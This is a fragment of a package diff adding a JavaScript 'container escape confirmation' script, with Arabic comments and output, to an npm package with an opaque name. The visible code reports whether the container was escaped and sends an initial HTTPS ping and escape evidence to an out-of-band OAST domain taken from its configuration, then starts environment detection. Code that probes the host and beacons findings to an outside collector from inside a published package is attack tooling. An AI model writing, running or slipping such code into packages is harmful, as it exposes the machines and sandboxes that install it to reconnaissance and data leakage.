console.log(" - DNS requests (إذا نجحت)");
|
|
592
|
+
console.log(" - HTTP requests (إذا نجحت)");
|
|
593
|
+
console.log(" - HTTPS POST requests مع أدلة الهروب");
|
|
594
|
+
console.log("\n5. إذا رأيت HTTPS request تحتوي على:");
|
|
595
|
+
console.log(" - 'escapedToHost': true ← تأكيد الهروب");
|
|
596
|
+
console.log(" - 'confidence': >60% ← ثقة عالية");
|
|
597
|
+
console.log(" - 'proofPoints' ← قائمة بالأدلة");
|
|
598
|
+
|
|
599
|
+
console.log("\n" + "=".repeat(80));
|
|
600
|
+
if (evidenceLog.finalVerdict.escapedToHost === true) {
|
|
601
|
+
console.log("🚨 تنبيه أمني: تم تأكيد الهروب من الحاوية!");
|
|
602
|
+
console.log("📡 تم إرسال الأدلة إلى OAST الخاص بك");
|
|
603
|
+
console.log("🛡️ يجب اتخاذ إجراءات أمنية فورية");
|
|
604
|
+
} else if (evidenceLog.finalVerdict.escapedToHost === 'POSSIBLE') {
|
|
605
|
+
console.log("⚠️ تحذير: هروب محتمل من الحاوية");
|
|
606
|
+
console.log("📡 تحقق من OAST للأدلة التفصيلية");
|
|
607
|
+
} else {
|
|
608
|
+
console.log("✅ الحاوية تبدو معزولة بشكل جيد");
|
|
609
|
+
console.log("📡 تم إرسال تفاعلات OAST للتحقق");
|
|
610
|
+
}
|
|
611
|
+
console.log("=".repeat(80));
|
|
612
|
+
}
|
|
613
|
+
|
|
614
|
+
// ===================== بدء التشغيل =====================
|
|
615
|
+
console.log("🚀 بدء عملية تأكيد هروب الحاوية مع OAST...");
|
|
616
|
+
console.log(`📡 سيتم إرسال الأدلة إلى: ${OAST_CONFIG.domain}\n`);
|
|
617
|
+
|
|
618
|
+
// إرسال ping أولي
|
|
619
|
+
sendOASTInteraction('HTTPS', {
|
|
620
|
+
checkPoint: 'tool_start',
|
|
621
|
+
evidence: {
|
|
622
|
+
tool: 'ContainerEscapeConfirmation',
|
|
623
|
+
version: '2.0',
|
|
624
|
+
timestamp: new Date().toISOString()
|
|
625
|
+
}
|
|
626
|
+
});
|
|
627
|
+
|
|
628
|
+
// بدء التحقق
|
|
629
|
+
setTimeout(detectContainerEnvironment, 1000);
|
|
Binary file
|
package/rank4222wun-1.0.32.tgz
DELETED
|
Binary file
|